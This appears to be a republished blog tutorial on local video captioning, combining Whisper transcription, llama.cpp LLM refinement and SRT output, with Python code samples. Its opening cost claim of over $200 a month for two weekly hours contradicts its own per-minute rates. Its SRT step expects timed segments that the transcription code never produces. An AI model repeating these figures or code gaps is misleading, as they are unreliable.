Cloud-based automatic speech recognition (ASR) services like Google Cloud Speech-to-Text, Azure AI Speech, and AWS Transcribe deliver solid results but carry significant expenses. We’re talking anywhere from $0.016 to $0.024 per minute, which quickly escalates for long-form content creators or businesses processing hundreds of hours of video weekly. A creator publishing two hours weekly could spend over $200 monthly—exceeding $2,400 annually.

Beyond costs, data privacy concerns are paramount. When uploading to cloud APIs, you entrust providers with intellectual property and confidential information. Organizations in healthcare, finance, legal, and government sectors often cannot accept this risk.

Open-source innovations have democratized powerful AI. Projects like OpenAI’s Whisper, Llama 2, Mistral, and Gemma—paired with inference engines like llama.cpp and ctransformers—now enable running sophisticated models on consumer hardware with performance matching or exceeding cloud alternatives.

The advantages of local processing are compelling:

• Data Security: Content stays on your machine
• Compliance: Meets strict governance requirements
• Connectivity Independence: Works offline
• Predictable Performance: No cloud bottlenecks

How Open Source AI Captioning Works Locally

Building a complete solution involves multiple specialized components working together:

1. Automatic Speech Recognition (ASR)

Whisper, OpenAI’s open-source ASR model, excels at converting spoken words to text. Different sizes of Whisper models (tiny, base, small, medium, large-v2, large-v3) offer trade-offs between accuracy and computational cost.

The model uses a transformer encoder-decoder architecture, processing audio waveforms to output text. For example, large-v3 can achieve word error rates (WER) as low as 3-4% on clean audio, which is competitive with many cloud offerings.

2. Audio Extraction & Preprocessing

Before ASR processing, extract audio from video files using tools like FFmpeg. This step handles format conversion, audio extraction, and level normalization.

3. Large Language Models for Refinement

While Whisper excels at transcription, raw output often lacks proper punctuation and capitalization. LLMs like Mistral, Llama 2, or Gemma can enhance transcripts by:

• Punctuation & Capitalization: Adding proper sentence structure
• Speaker Identification: Improving speaker labels from diarization
• Summarization: Extracting key themes and metadata
• Error Correction: Fixing common ASR mistakes using context
• Translation: Converting to different languages

4. Inference Engines

llama.cpp with Python bindings enables running various LLMs in GGUF format. GGUF (GPT-Generated Unified Format) models are quantized versions of larger models, reducing their size and memory footprint without significant performance degradation.

Example: A Mistral 7B model (13GB in full float16 precision) becomes ~4.5GB in Q4_K_M quantized format, runnable on laptops with 8-16GB RAM.

Hugging Face transformers library provides unified APIs for loading pre-trained models, handling GPU acceleration automatically.

Workflow Overview

Video → Audio Extraction → Whisper Transcription → LLM Refinement → SRT/VTT Captions

Practical Implementation Guide

Prerequisites

• Python 3.8+ for development
• FFmpeg for multimedia processing
• GGUF Model: Download from Hugging Face
• Whisper Model: Auto-downloaded by transformers library

Step 1: Environment Setup

# Create virtual environment
python -m venv llm_captioning_env

# Activate (macOS/Linux)
source llm_captioning_env/bin/activate

# Install dependencies
pip install transformers[torch] accelerate soundfile moviepy llama-cpp-python

Step 2: Audio Extraction

from moviepy.editor import VideoFileClip
import os

def extract_audio(video_path: str, audio_output_path: str):
    """Extracts audio track from video file."""
    if not os.path.exists(video_path):
        raise FileNotFoundError(f"Video file not found: {video_path}")

    print(f"Extracting audio from {video_path}...")
    video_clip = VideoFileClip(video_path)
    video_clip.audio.write_audiofile(audio_output_path)
    print(f"Audio extracted to {audio_output_path}")

Step 3: Whisper Transcription

from transformers import pipeline
import torch

def transcribe_audio_whisper(audio_path: str, 
                            model_name: str = "openai/whisper-large-v3"):
    """Transcribe audio using Whisper model."""
    device = "cuda:0" if torch.cuda.is_available() else "cpu"
    print(f"Using device: {device} for Whisper transcription.")

    asr_pipeline = pipeline(
        "automatic-speech-recognition",
        model=model_name,
        torch_dtype=torch.float16 if device == "cuda:0" else torch.float32,
        device=device
    )

    print(f"Transcribing {audio_path}... This may take a while.")
    transcription = asr_pipeline(
        audio_path, 
        generate_kwargs={"task": "transcribe", "language": "en"}
    )

    return transcription['text']

Model Selection Notes:

• small/medium: Faster, acceptable for clean audio
• large-v3: Best accuracy (recommended)

Step 4: LLM Refinement

from llama_cpp import Llama

def refine_transcript_with_llm(raw_transcript: str, llm_model_path: str):
    """Refine transcript using local LLM."""
    if not os.path.exists(llm_model_path):
        raise FileNotFoundError(f"LLM model not found: {llm_model_path}")

    print(f"Loading local LLM from {llm_model_path}...")
    llm = Llama(
        model_path=llm_model_path,
        n_ctx=4096,
        n_gpu_layers=-1 if torch.cuda.is_available() else 0,
        verbose=False
    )

    prompt = f"""[INST] You are an expert copy editor. Correct the following 
raw transcript for punctuation and capitalization. Do not add or remove content, 
only fix formatting.

Raw Transcript:
{raw_transcript}

Corrected Transcript:
[/INST]"""

    output = llm(
        prompt,
        max_tokens=len(raw_transcript) + 100,
        stop=["</s>"],
        echo=False,
        temperature=0.1,
    )

    refined_text = output["choices"][0]["text"].strip()
    return refined_text

Step 5: Generate SRT Captions

import srt

def create_srt_from_segments(segments: list, output_srt_path: str):
    """Create SRT file from text segments with timings."""
    print(f"Generating SRT file: {output_srt_path}")
    subs = []

    for i, segment in enumerate(segments):
        start_time = srt.timedelta(seconds=segment['start'])
        end_time = srt.timedelta(seconds=segment['end'])
        subs.append(srt.Subtitle(
            index=i+1, 
            start=start_time, 
            end=end_time, 
            content=segment['text'].strip()
        ))

    with open(output_srt_path, "w", encoding="utf-8") as f:
        f.write(srt.compose(subs))
    print("SRT file created successfully.")

Advanced Techniques & Optimization

Model Selection & Benchmarks

Whisper Variants:

• tiny/base/small: Fastest, lower accuracy (~70MB-500MB)
• medium: Balanced speed/accuracy (~770MB)
• large-v2/large-v3: Highest accuracy, most resource-intensive (~3GB)

GGUF Quantization Levels:

• Q4_K_M: Best balance—4.5GB for Mistral 7B with minimal quality loss
• Q8_0: Higher fidelity but larger files and increased VRAM needs
• Q2_K/Q3_K: Smaller but noticeably reduced quality

Hardware Requirements

GPU Setup (Recommended):

• NVIDIA RTX 3060 (12GB VRAM) or better
• 16GB+ system RAM (32GB preferred)
• Time for large-v3 Whisper: ~5-10 minutes per 60 minutes audio

CPU-Only Setup:

• Modern multi-core processor (Intel i7/i9 or AMD Ryzen 7/9)
• 32GB RAM minimum
• Time for large-v3 Whisper: ~1+ hour per 60 minutes audio (5-10x slower)

Speaker Diarization

Identifying individual speakers requires specialized tools. pyannote-audio is the leading open-source solution. Processing order:

1. Extract audio
2. Run diarization (generates speaker timestamps)
3. Feed segments to Whisper
4. Use LLM to refine speaker labels with context

Batch Processing & Optimization

• Parallel Processing: Use multiprocessing for concurrent video handling
• Model Caching: Reuse loaded instances rather than reloading for each segment
• Memory Management: Monitor peak usage; adjust context window sizes as needed

Error Handling

Poor Audio Quality: Apply preprocessing with pydub or librosa for noise reduction.

Multilingual Content: Set language="auto" for automatic language detection—Whisper handles multiple languages seamlessly.

Context Limitations: For long transcripts, process in chunks with overlap.

Cost Analysis: Local vs. Cloud

For high-volume operations, local processing delivers compelling ROI.

Why Local LLMs Matter

1. Privacy: Sensitive content remains under your control
2. Cost-Effectiveness: Eliminate recurring API fees after initial investment
3. Customization: Fine-tune models for specific domains, accents, or jargon
4. Offline Capability: Works without internet connectivity
5. Performance: Avoids cloud upload/download bottlenecks for large batches

Frequently Asked Questions

Q: What hardware do I need?
A dedicated NVIDIA GPU (RTX 3060 12GB+) is recommended for optimal performance with Whisper large-v3 and 7B+ LLMs. CPU-only systems require modern multi-core processors and 32GB+ RAM but process 5-10x slower.

Q: How accurate are local models compared to cloud APIs?
Open-source models like Whisper large-v3 offer accuracy highly competitive with cloud-based ASR services. Combined with LLM refinement, results rival commercial solutions.

Q: Can I use this for real-time captioning?
True real-time captioning with large-v3 and LLM refinement is challenging on consumer hardware. Smaller models or dedicated streaming ASR (NVIDIA NeMo) work better for live applications.

Q: What’s the best LLM for transcript refinement?
Mistral 7B Instruct and Gemma 7B Instruct excel at punctuation, capitalization, and grammar corrections.

Conclusion

Building local LLM video captioning tools is now practical and accessible. By combining Whisper for transcription with local LLMs for refinement, you achieve broadcast-quality results while maintaining complete data privacy. The financial and technical advantages over cloud-dependent approaches are substantial and growing as open-source models improve.

Start experimenting with different models, optimize prompts for your use case, and discover the potential of truly private, locally-controlled AI video processing.

Originally published at buildzn.com